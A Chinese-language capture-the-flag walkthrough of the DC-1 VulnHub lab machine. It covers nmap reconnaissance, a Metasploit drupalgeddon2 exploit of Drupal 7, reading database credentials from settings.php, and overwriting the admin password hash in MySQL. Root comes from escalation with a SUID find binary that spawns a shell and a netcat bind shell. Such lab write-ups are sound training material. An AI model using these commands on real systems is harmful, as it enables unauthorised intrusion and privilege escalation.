DC-1靶机
文章前提概述
本文介绍DC-1靶机的渗透测试流程
涉及知识点(比较基础):
nmap扫描网段端口服务
msf的漏洞搜索
drupal7的命令执行利用
netcat反向shell
mysql的基本操作
sudi提权
基本环境搭建
靶机下载地址://www.five86.com/downloads/DC-1.zip
//download.vulnhub.com/dc/DC-1.zip
VMware(windows)://www.52pojie.cn/thread-1026907-1-1.html
选择高版本的vmware,不然可能不支持ova导入
下载导入开机vmware设置选择nat模式,目的让你的攻击机和靶机在一个网段,可以根据网络环境自行设置只要在一个网段就行。
基础信息收集
nmap扫描
nmap -A 192.168.124.0/24
扫描结果
开发80,111,22ssh端口
Host is up (0.00039s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (//drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37454/udp status
| 100024 1 39208/udp6 status
| 100024 1 52048/tcp status
|_ 100024 1 57763/tcp6 status
MAC Address: 00:0C:29:A6:59:A3 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.124.145
先爆破一下ssh吧(无结果)
nmap --script=ssh-brute 192.168.124.145
访问80端口
尝试了注册,登录的弱密码,修改密码,无效,但发现admin用户存在
wappalyzer指纹识别,发现室Drupal系统
去漏洞库和msf搜索一下
msfconsole
search Drupal
发现有漏洞可以用那就开始msf吧
使用2018年的漏洞吧,是个远程代码执行(代码审计现在真心看不懂,😔)
//www.exploit-db.com/exploits/44482
//paper.seebug.org/567/
msf发现连接成功
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.145
run
寻找一下flag
shell
find / -name flag*
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
打开flag1.txt试试
cat /var/www/flag1.txt
翻译一下:每一个好的CMS都需要一个配置文件–你也一样。
搜索Drupal的配置文件
/var/www/sites/default/settings.php,打开
cat /var/www/sites/default/settings.php
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
发现了flag2和数据库的账号密码,尝试连接一下
先弄一下交互shell吧
python -c 'import pty;pty.spawn("/bin/bash")'
连接数据库尝试一下
mysql -u dbuser -p R0ck3t
查看一下node和user表,发现flag3
select * from node;
select * from users;
为什么要看node表呢???(user表就不说了吧)
因为drupal node机制
drupal node机制理解
so,尝试获得登录的密码,hash值破解可能不太现实
我们注册一个账号将二者hash互换不就可以了
我丢不行,注册没法写密码,
那找到加密脚本自己加密一个不就行了
加密脚本位置
scripts/password-hash.sh
php scripts/password-hash.sh admin
password: admin hash: $S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.
尝试更换管理员密码的hash
update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin';
下面登录测试一下,账号admin密码admin
在content中发现
Special PERMS will help FIND the passwd – but you’ll need to -exec that command to work out how to get what’s in the shadow.
也就是说我们需要寻找密码,而且提示shadow,之前的flag4还没看
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
应该是让获得管理员权限,再去/etc/shadow看看
尝试给权限,还是不行
那只能尝试提权了
suid提权
SUID是set uid的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow中,而/etc/shadow的权限为 ———-。也就是说:只有root用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd这个指令。passwd这个指令在/bin/passwd下,当我们执行这个命令后,就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢?这里就用到了suid,suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd时会拥有root的权限,这样就可以修改/etc/passwd这个文件了。
参考文章:Linux下的用户、组和权限
已知的可用来提权的linux可行性的文件列表如下:
nmap,vim,find,bash,more,less,nano,cp
发现系统上运行的所有SUID可执行文件
不同系统适用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
尝试查看find是否有suid权限
/usr/bin/find /tmp -exec whoami \;
find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了
反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门
/usr/bin/find ./aaa -exec '/bin/sh' \;
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444
最后,获得最后一个flag
cat thefinalflag.txt
Well done!!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter – @DCAU7
参考文章及说明
freebuf://www.freebuf.com/articles/network/218073.html
知乎://zhuanlan.zhihu.com/p/135342104
W3://medium.com/@w3rallmachines/dc-1-vulnhub-walkthrough-3a2e7042c640
最后欢迎访问我的个人博客://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担